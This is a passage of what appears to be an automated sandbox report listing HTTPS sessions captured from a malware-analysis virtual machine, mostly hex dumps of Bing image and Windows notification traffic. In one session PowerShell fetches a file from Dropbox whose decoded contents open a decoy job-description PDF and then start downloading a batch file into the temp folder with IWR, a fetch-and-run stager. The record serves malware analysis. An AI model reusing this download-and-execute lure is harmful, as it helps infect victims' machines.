2024-12-17 11:13:17 UTC	16384	IN	Data Raw: e6 7d a2 5e ed bf ee d6 de ca ca 50 7f 0b 1d 8f 67 8f 5c b4 d1 f5 6d 5b c3 da a6 83 14 9a af 97 34 12 4b 24 db 12 78 a4 47 f9 7f ef 9f 9c 55 af 87 3e 2f d3 74 ad 3e e7 51 83 4d d3 fe cb f6 67 8e e6 3b 9b b4 49 b7 af fc f0 fe f5 70 9a 5d ad a7 8b 62 8e 19 fc 49 0d c5 d4 76 4f f6 9b 99 7e 47 9e 28 91 3c 9d 9f ed 7f 05 5d f0 e7 c1 9d 17 58 f0 4d c6 a3 a3 ea fa 86 ab 3f da 5f fe 25 b6 d6 9b ee d2 0f bb fd ed bf 7b f8 ab c7 9e 1e 84 6e a4 ed f2 13 8a ea 7b 46 9b e3 1f 0d 6b ba 4c 7a 8f 87 bc 37 a4 db c9 a5 47 e5 cb 24 51 22 5f 5f f9 a9 fc 72 7f db 3f bb 5c 1e 9d e2 3f 0f 45 0c 9a be 8b 35 dd be 95 79 1f 99 1c 77 df 3f 97 74 bf 2b fc bf c3 5c 6f 89 b4 3b ff 00 06 f8 0e f7 51 fe cd fe c2 be 8e e6 19 2d bf 7b fe af fe 9a 6c c9 eb 5e 5b a3 ea 11 de ea d1 c1 7b 0c Data Ascii: }^Pg\m[4K$xGU>/t>QMg;Ip]bIvO~G(<]XM?_%{n{FkLz7G$Q"__r?\?E5yw?t+\o;Q-{l^[{
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 57 37 47 e5 7f ae aa b1 cb b2 6f 92 6a 68 08 2d 6c e4 b8 d5 a3 81 2a 2f 10 5b 49 69 77 b1 ff 00 d6 56 e6 9b 3c 71 4d e7 a7 fa ca cb f1 33 4f 2e a1 e7 cf fb c9 29 94 99 9b 1b 48 f0 fc 9f ea e9 d7 7e 5d 36 08 b7 fc 94 5d 45 e4 cd 5a 1a 0d 81 63 f3 aa 79 e2 8d e1 d8 95 02 53 a3 96 4b 79 aa 1b b8 9a b9 7f ef da 6c a6 5a ff 00 c8 3f c8 f2 6a ad aa c8 ff 00 3b cd fb ba da d3 56 35 b4 f9 2a 59 9b 27 d3 67 8e 28 76 24 3f eb 29 93 dc ec f9 29 b0 34 89 69 f3 ff 00 ac aa f2 45 23 c3 bf ce ff 00 59 51 21 16 23 97 67 cf 52 fd f8 77 d4 1e 57 ee 7f d7 54 92 2c e9 69 fb ba 4d 58 0a b2 41 23 cd 56 a4 6d 9e 5a 53 60 8a ed ff 00 e9 9d 36 f9 7c af 2d de 90 1a 97 4b f6 88 76 79 df f2 ce b9 9d 62 08 e2 ad 98 2f 2d 22 b4 f9 ff 00 79 24 95 ce 5f 3c f7 13 6f 78 6b 45 a1 51 dc 8b Data Ascii: W7Gojh-l/[IiwV<qM3O.)H~]6]EZcySKylZ?j;V5Y'g(v$?))4iE#YQ!#gRwWT,iMXA#VmZS`6\|-Kvyb/-"y$_<oxkEQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49732	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:16 UTC	346	OUT	GET /th?id=OADD2.10239354491534_1O3M85NN5LRG0CPTI&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-17 11:13:16 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 449789 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 5E24BB3953BA4DA3AC318E3FD49F98E2 Ref B: EWR30EDGE1611 Ref C: 2024-12-17T11:13:16Z Date: Tue, 17 Dec 2024 11:13:16 GMT Connection: close
2024-12-17 11:13:16 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 30 32 3a 30 37 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:02:078C
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: ad 4d 6a b1 86 df 70 be 64 7d 19 bf 89 69 b6 af f6 7b 8f 30 2a c8 bf 77 e6 f4 aa 33 d1 ee 47 82 ca bf 2f ca bf c5 4c e7 bb 71 56 e6 31 86 90 86 dc cd fc 35 12 20 68 d9 d1 59 95 7e f5 32 5a 05 5c af 0d 4b 0e d6 6d 8f fc 54 8a 88 ca a6 2f f8 12 ff 00 76 a5 58 4b f2 9f 2b 2f f1 53 41 61 2d df 64 9b 3b 6e f9 6a f2 ae f8 5b 2b f7 7e f7 d6 aa c2 d1 37 c9 2f ca dd 3f dd a7 6c 11 7d c9 77 7f ec d4 9e e5 26 4f b2 36 8d 42 7e ec ff 00 75 a8 8c 4a 8c d9 fe 16 fb d4 eb 55 de cb 8f fb e5 a9 f2 23 ee ca 74 ff 00 6b fa d6 72 dc b8 ec 3a d6 62 92 37 f0 ee fb cb fc 35 2c db 1f e7 db b7 fd da 8a 3d 92 70 df 7b 77 de ed 53 2a 95 f9 5f a5 43 b2 63 19 18 25 7e 75 e3 fd 9a 67 93 2f 98 c7 72 ed 6f e1 fe 2a 9d 95 37 7e ef 76 2a 45 1b d7 8d bf ed 6d fb d4 f9 c9 e4 2b a2 8e 8b f2 Data Ascii: Mjpd}i{0w3G/LqV15 hY~2Z\KmT/vXK+/SAa-d;nj[+~7/?l}w&O6B~uJU#tkr:b75,=p{wS_Cc%~ug/ro7~vEm+
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: da 37 e1 e4 da 7f da 8c f7 71 36 df 9a 29 23 f9 b3 e9 9a 9a b4 e7 0d 5a 0a 55 61 2d 2e 7a 85 f5 bf 94 de d5 5d 23 df d3 ad 79 85 e7 ed 33 e0 39 db 62 59 ea 0d 16 ec 34 ac a1 55 71 5c 3f c5 0f da 7e da 3b 76 b7 f0 2e 98 d1 c9 ff 00 3f d7 cb f7 7f dd 4f f1 a2 9d 39 c9 d9 20 a9 52 11 d6 e7 b9 f8 cb c4 1a 1f 85 b4 79 75 1d 7f 50 82 ce 38 d7 2a b2 37 cf 27 b2 af 52 6b e6 1f 89 df b4 6f 89 2f af 9a 3f 09 ed d2 2c 55 b1 1c 92 46 1e 69 3d db 3c 0f a5 78 e7 8b 3c 4d ac 78 8b 54 7d 4f 57 be 9e ea e6 46 2c cd 2b 17 db f4 f4 15 87 71 2b c8 bc 36 ea f4 29 e1 e3 0d 65 ab 38 2a 57 72 d1 6c 74 1e 2d f1 5e b3 e2 ad 71 b5 0d 77 50 92 f2 ea 4e 1a 49 3e ea 81 d8 01 c0 15 90 d7 30 a4 df 3f ef 02 ff 00 0f f7 ab 3d 9c aa e7 fe fa a3 72 7c ae 3e 6d bf f8 f5 6d ca 8e 7e 7d 4e e7 Data Ascii: 7q6)#ZUa-.z]#y39bY4Uq\?~;v.?O9 RyuP87'Rko/?,UFi=<x<MxT}OWF,+q+6)e8Wrlt-^qwPNI>0?=r\|>mm~}N
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 94 3c 60 fc c2 91 93 0b 91 4f 42 75 b0 f8 ae 09 eb 44 8c 1b ef 54 3b 4f 51 4e dc 7a 3a d1 64 98 b9 98 f8 c9 1f 4a 95 8b 6d c8 aa d1 b1 1b 96 ac db e0 f5 a1 82 1e bc d2 63 e6 e3 a5 3d 54 63 de 9d e5 ed 5d fb b7 06 ff 00 c7 6a 79 8b 13 3f 2d 28 6c f1 4d 64 23 76 3a 50 a3 6b 55 05 ec 49 b1 7a 8a 91 32 bc d4 1b bd 69 ca ce bf 4a 5a 81 32 c8 77 73 4e 50 8f c8 6a 6a 94 3c 15 a7 20 d9 bb 1d 2a 58 0a bb d5 b9 6c d4 8a c0 f4 a8 f1 9e 3e ed 39 90 85 f7 a4 35 72 4d c3 6d 27 cb fc 34 89 fe dd 3b 1e 94 0f 71 eb cf dd a5 c6 7a 54 7d 69 d1 9c 71 40 ef a8 ab 90 df dd a9 63 6f 57 a6 af cd d6 93 66 29 6e 32 75 e2 9e af 9e b5 14 79 3b 6a 44 e3 ad 40 12 e4 d3 94 e6 a2 53 dc 53 d5 80 6a 00 7a af cd 4f 55 34 d4 20 d4 1a a6 a7 a7 69 96 ed 2d fd dc 16 c8 bf f3 d1 b6 b5 17 4b 71 Data Ascii: <`OBuDT;OQNz:dJmc=Tc]jy?-(lMd#v:PkUIz2iJZ2wsNPjj< *Xl>95rMm'4;qzT}iq@coWf)n2uy;jD@SSjzOU4 i-Kq
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 6e 3d 18 05 f9 ff 00 87 fb b5 5e e2 5d b2 60 36 e1 4d de 42 ec cf f1 65 a9 7c d5 f2 fc b4 55 56 6f bd fd e6 fa d4 f2 8d 44 62 49 22 ee 39 fb df de 5f e5 4c 55 cf 5d cc 6a 46 07 e5 c3 6d 3f ec d1 93 d0 6e c7 f7 aa 8a 1b b0 95 c9 6d b4 ec 44 3a 32 b3 53 7e 70 df 3b 54 37 03 63 70 aa d4 01 24 8e 9f 28 db c3 7d da 86 e3 09 1e ed fb 89 fe 1a 8d a4 93 6e 36 ed a8 db 78 6d e7 ad 54 47 b0 ab 21 0b 8d cd 49 b8 ed e3 f8 bf 8a 91 9b 7c 8d 85 db fe ca d2 aa 85 e7 bd 51 17 05 07 f0 a9 a3 57 2b 8a 21 f2 fc b6 ce e6 3f c3 b6 9f 6b 1e d5 62 ec cc 3f f1 da 4c a4 d8 8e 7c b5 57 29 b9 57 a5 0b e6 cb f3 c9 d1 be ea d4 8d 04 af cf ca df ec ff 00 76 a4 02 40 dc 2e e6 fe f5 43 96 82 ea 31 13 c9 5c 1f e2 fb db a9 14 87 e0 55 a1 07 98 ab e6 7d ea 7b 5b a4 5c b3 2e 56 a3 99 0e e8 Data Ascii: n=^]`6MBe\|UVoDbI"9_LU]jFm?nmD:2S~p;T7cp$(}n6xmTG!I\|QW+!?kb?L\|W)Wv@.C1\U}{[\.V
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: db 1b 7d dd d4 c0 49 fc d2 b8 d9 f3 37 dd a8 90 18 db 12 2f 98 7a 7e 35 6a 36 90 32 bc 6a cc 59 be 5d d5 23 40 89 27 ce db be 5f bd 4e ea 20 53 f2 91 b8 9f 6b 32 ff 00 0f f0 ad 39 20 f3 17 e5 da a3 ff 00 1d ab 5e 5a 33 7d de 16 9b 21 2c ac 13 e6 5f e1 5a 87 26 c0 b3 34 b6 ff 00 65 54 f2 3f 7d 1c 61 23 93 f8 54 56 6d c2 49 e6 6f db b9 bf da a9 55 36 f0 5b 8a 96 38 a5 95 b6 46 bc b7 f1 35 0e 4d 9a 15 d1 42 b2 f9 8d e6 37 f0 ad 4f 1a 90 df 3a f9 7b 7e f6 ef e2 a2 45 8e 05 69 3f 8b f8 bf c7 34 d5 23 6a e5 9b 3f ed 54 81 2a e4 f0 19 57 75 0e c8 bb 8b b6 ee d5 04 d3 ec e0 a6 e1 fd da 86 34 4f 98 ba f9 6b fd d6 6a 00 9d ae d8 b6 c4 dc dd a9 d6 ee 21 56 77 f9 9b fb cd fc 35 5d 4a 22 e7 e5 8e 3d df f0 2a ad ba 59 e4 6f de ed 55 fb aa de 94 25 d8 0b 13 5e ed 66 f2 Data Ascii: }I7/z~5j62jY]#@'_N Sk29 ^Z3}!,_Z&4eT?}a#TVmIoU6[8F5MB7O:{~Ei?4#j?TWu4Okj!Vw5]J"=YoU%^f
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 5c b8 8f 64 68 bf 2d 49 0a b8 65 0e ac de 63 66 9b 08 5f be 57 6e ef ba ab 52 47 79 24 12 79 90 2a b3 7f 0e ef e1 aa 43 64 12 23 a5 d7 94 62 6c ee f9 56 a4 f2 1c 46 de 63 33 37 fe 3b 51 c9 77 71 25 d6 f9 67 69 e5 6e 16 ad 26 03 29 b8 f9 47 f7 bf bb 44 84 43 34 3b d7 2c ad b9 57 e6 fe 15 a4 b2 8e 48 64 68 e4 da cb d7 f7 75 25 e3 48 d1 e2 06 69 17 f8 77 7a 55 68 bf 77 1b 37 cd fe d3 7f 15 2e 80 4a 90 c7 2c cc 43 37 ee da ac c3 12 aa b0 db b8 ff 00 7a ab 44 fb 79 75 68 d5 bf 8a ac 2c 92 89 36 a3 7c bb 7e 5d df 7a a1 dc 07 e3 6a f2 db 45 2c 80 18 f8 97 69 ff 00 66 98 c5 d9 94 1d bf f0 2a 47 f9 63 6f 9b ee fd da 90 19 18 80 36 c3 2c 8c 7f d9 f9 a9 ff 00 67 69 39 dd c7 f7 68 b7 74 55 fd dc 4c c7 fb d5 22 99 3c b5 05 bf e0 35 a0 08 98 85 57 7a ee 2b 4b f6 c7 91 Data Ascii: \dh-Iecf_WnRGy$yCd#blVFc37;Qwq%gin&)GDC4;,WHdhu%HiwzUhw7.J,C7zDyuh,6\|~]zjE,ifGco6,gi9htUL"<5Wz+K
2024-12-17 11:13:17 UTC	16067	IN	Data Raw: aa 1f 63 5a 46 9c 1c af d4 53 94 a2 b4 d5 1b 5a 4f 89 65 fe c9 8b 4f b0 b6 8e 35 b8 6f dc f9 9f 22 5d 3f 7c 11 f7 5b eb 53 5b c1 e1 ed 03 5e 92 f2 e2 f2 4d 54 f9 60 ac 1a 86 5b cb 72 70 46 17 f8 85 65 78 4e f2 5d 2b 7d c4 76 32 dc da 4a a5 25 da bb 96 3c f1 b9 18 f1 9f 6e f5 6f 56 d3 6d da c6 49 e1 96 36 5f 2d 4d b4 f6 9f 34 72 0c 7c cb 20 3c a3 d7 0d 6c b6 84 a4 ee ad 7e ab a9 71 af cf 4d 59 5d 9a b7 12 3d e5 9c f6 cf 79 22 d9 48 ab e5 6e 5d ab 0e 0e 46 77 73 c7 b5 6c fc 28 d6 ae 74 bd 3f c4 76 d0 6d d4 2f ad b4 f3 7b a5 c8 d1 ed 49 02 be 26 88 9f ee ba fa f7 a6 c0 74 ad 23 c0 f6 be 20 bd d2 a3 ba 17 32 88 24 82 56 3b a1 c0 ca 32 ff 00 79 48 ef 53 e9 7a c6 97 6d a5 f8 a3 50 d2 d9 71 fd 8d 10 db 14 67 f7 65 e6 e8 73 f4 af 36 35 aa 53 c4 ca 8d 9f 2f 47 d0 Data Ascii: cZFSZOeO5o"]?\|[S[^MT`[rpFexN]+}v2J%<noVmI6_-M4r\| <l~qMY]=y"Hn]Fwsl(t?vm/{I&t# 2$V;2yHSzmPqges65S/G
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: f7 63 5c a2 63 db d6 ba af 08 e9 be 0a d6 ae 23 d2 af 6c ee 62 69 d7 62 ce b2 1d dc 56 ac 3a b6 9d e2 2b a5 b4 f1 0c 10 5a 19 65 53 0d ce dd 8b 1e 06 36 ed 1f c2 47 7a ad 67 a6 78 61 fc 4d 3d 8e e9 22 b4 95 84 71 4f e6 7f c7 bb e7 ae 47 de 5a 9a d8 88 62 68 b8 54 52 84 fc bf 3b f5 f4 2a 12 9c 67 75 aa 39 ff 00 16 69 16 5f 0d fe 23 69 5a a6 97 79 f6 e8 60 b9 8a 7d bb 83 32 85 71 b9 4e 3d ab d1 7c 7b e2 3d 23 52 f1 76 af 2e 99 3c 9a 95 b5 d4 ab 36 8d 3a a9 df 6e 0f ce 53 07 ef 00 78 ae 23 e3 a7 82 ad 3c 3b a5 ac 90 5f 49 25 d4 17 22 39 62 97 fe 79 b0 e1 b3 fc 59 ab 5e 05 36 0b f0 86 db 58 be d3 ee fe d3 63 78 d6 50 5f 47 27 ee d8 81 bd 61 23 fb c3 d6 a5 51 8c f0 e9 73 73 c9 69 77 a3 67 75 db 8b 56 b1 dc 45 71 79 ad 78 6e 7b f7 d4 24 8f 52 89 44 6b 05 cc 1b Data Ascii: c\c#lbibV:+ZeS6GzgxaM="qOGZbhTR;*gu9i_#iZy`}2qN=\|{=#Rv.<6:nSx#<;_I%"9byY^6XcxP_G'a#QssiwguVEqyxn{$RDk
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 7b 3a 48 5e d9 b7 1e 3a 73 b8 28 fb b8 c5 63 59 93 7d e1 1d 36 e6 d9 af a1 d3 f5 2d 52 6b 58 2d 27 97 cc fd da 01 9d 84 7b d6 95 af 81 b4 79 36 bc 9b a0 86 d6 7c cf e7 c9 b8 4c 7f 0c 7c be d5 e5 62 73 3a 54 63 c9 8c 5c ab d2 f7 f2 2e 55 1a 96 91 d4 67 89 bc 6b 67 ab de 68 f2 e9 9e 38 5b 11 3b 34 6d 69 15 a3 b7 d9 5c 7d d1 23 11 86 0d f9 0a e5 3f 68 0d 3b c4 1a 35 bc 72 eb 12 cf 24 3a 86 d7 8e 59 60 08 d2 73 f7 b6 8e a3 dc 56 87 c6 af 0e 68 9e 15 87 fb 52 dd 96 3b 5b ac 7d 92 d2 3c 7e f0 9f bd cf a0 af 2e b5 bf f1 1f 8f 35 88 34 58 1a f2 f0 c7 f2 2c 6d be 6f b2 c6 3a 95 1c e0 0f 4a f5 72 f7 81 a9 42 38 aa 49 28 db b2 5f 89 84 aa 39 49 c5 a3 d2 ad d3 fe 16 2f c0 bf 0d 5a 40 df f1 34 f0 d5 cc ba 7a b4 93 85 f3 a2 63 bd 46 de a7 15 ca ea ba 1e af a0 2c b1 de Data Ascii: {:H^:s(cY}6-RkX-'{y6\|L\|bs:Tc\.Ugkgh8[;4mi\}#?h;5r$:Y`sVhR;[}<~.54X,mo:JrB8I(_9I/Z@4zcF,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49737	162.125.69.15	443	2276	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:16 UTC	370	OUT	GET /cd/0/get/CgZa4hwIaWEnXA11CbjDdjfbBYoEA_SVtbFjmGzqltZsI2BjD-7Jf0F9ji9Ah8Wr84nX_5wS-eFydMu2ZuAyaj9Hbyjzn71UFb4n12kqqs7WPko9RUoDKIz9E65E_5csVdaWtMGk6Jfv6vK7G3Y5FPzB/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: uc88dd81bef3ddd9b68bab4679e2.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-17 11:13:17 UTC	734	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="secure.txt"; filename*=UTF-8''secure.txt Content-Security-Policy: sandbox Etag: 1733913986233917d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 161 X-Webkit-Csp: sandbox Date: Tue, 17 Dec 2024 11:13:17 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 453 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 3283da82f95d41cb9b106b4a932b43fd Connection: close
2024-12-17 11:13:17 UTC	453	IN	Data Raw: 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 6d 73 65 64 67 65 2e 65 78 65 20 2d 41 72 67 75 6d 65 6e 74 4c 69 73 74 20 22 2d 2d 6b 69 6f 73 6b 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 77 34 37 72 63 71 65 70 66 6e 77 6d 32 77 32 35 79 73 62 77 37 2f 44 6f 63 75 6d 65 6e 74 73 2d 61 62 6f 75 74 2d 63 6f 6d 70 61 6e 79 2d 69 6e 66 6f 72 6d 61 74 69 6f 6e 2d 61 6e 64 2d 6a 6f 62 2d 64 65 73 63 72 69 70 74 69 6f 6e 73 2d 32 2e 70 64 66 3f 72 6c 6b 65 79 3d 79 7a 36 68 31 71 69 68 36 74 6b 6c 64 67 64 70 36 65 72 62 6f 6c 73 62 35 26 64 6c 3d 31 22 3b 20 24 52 61 6e 64 6f 6d 46 69 6c 65 4e 61 6d 65 20 3d 20 22 24 65 6e 76 3a 74 65 6d 70 5c 24 28 47 65 74 2d 52 61 6e 64 6f 6d 29 2e 62 61 74 22 3b 20 49 57 52 Data Ascii: Start-Process msedge.exe -ArgumentList "--kiosk https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1"; $RandomFileName = "$env:temp\$(Get-Random).bat"; IWR

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49736	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 73 65 47 7a 4c 33 35 66 43 45 75 5a 46 43 6d 2b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 37 30 38 63 33 38 63 35 31 31 34 33 64 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: seGzL35fCEuZFCm+.1Context: cd708c38c51143da
2024-12-17 11:13:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-17 11:13:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 73 65 47 7a 4c 33 35 66 43 45 75 5a 46 43 6d 2b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 37 30 38 63 33 38 63 35 31 31 34 33 64 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 65 69 75 6a 4a 42 37 43 41 4a 73 4d 6c 42 46 51 69 41 32 67 55 70 45 62 5a 56 32 2f 6b 4c 76 79 56 6d 57 68 37 2f 6e 4b 52 4e 52 30 42 59 42 51 66 69 5a 6e 4c 63 79 6d 39 64 62 56 73 68 6b 58 2f 4f 49 46 4b 57 56 70 57 79 52 32 67 4c 4f 67 5a 63 33 65 41 6a 79 74 34 6f 4f 57 65 6a 68 4c 55 4e 47 42 57 58 69 30 58 77 56 77 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: seGzL35fCEuZFCm+.2Context: cd708c38c51143da<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATeiujJB7CAJsMlBFQiA2gUpEbZV2/kLvyVmWh7/nKRNR0BYBQfiZnLcym9dbVshkX/OIFKWVpWyR2gLOgZc3eAjyt4oOWejhLUNGBWXi0XwVw
2024-12-17 11:13:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 73 65 47 7a 4c 33 35 66 43 45 75 5a 46 43 6d 2b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 37 30 38 63 33 38 63 35 31 31 34 33 64 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: seGzL35fCEuZFCm+.3Context: cd708c38c51143da<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-17 11:13:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-17 11:13:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 53 39 6b 2f 31 5a 74 54 37 45 47 4f 30 78 76 49 5a 4d 34 2f 5a 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: S9k/1ZtT7EGO0xvIZM4/ZA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49752	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:21 UTC	346	OUT	GET /th?id=OADD2.10239381247929_1ZNNB8S8KDEP0DTFO&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-17 11:13:22 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 237559 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3F9487ABDE5E49B9906C346550D4E7E3 Ref B: EWR311000108033 Ref C: 2024-12-17T11:13:21Z Date: Tue, 17 Dec 2024 11:13:21 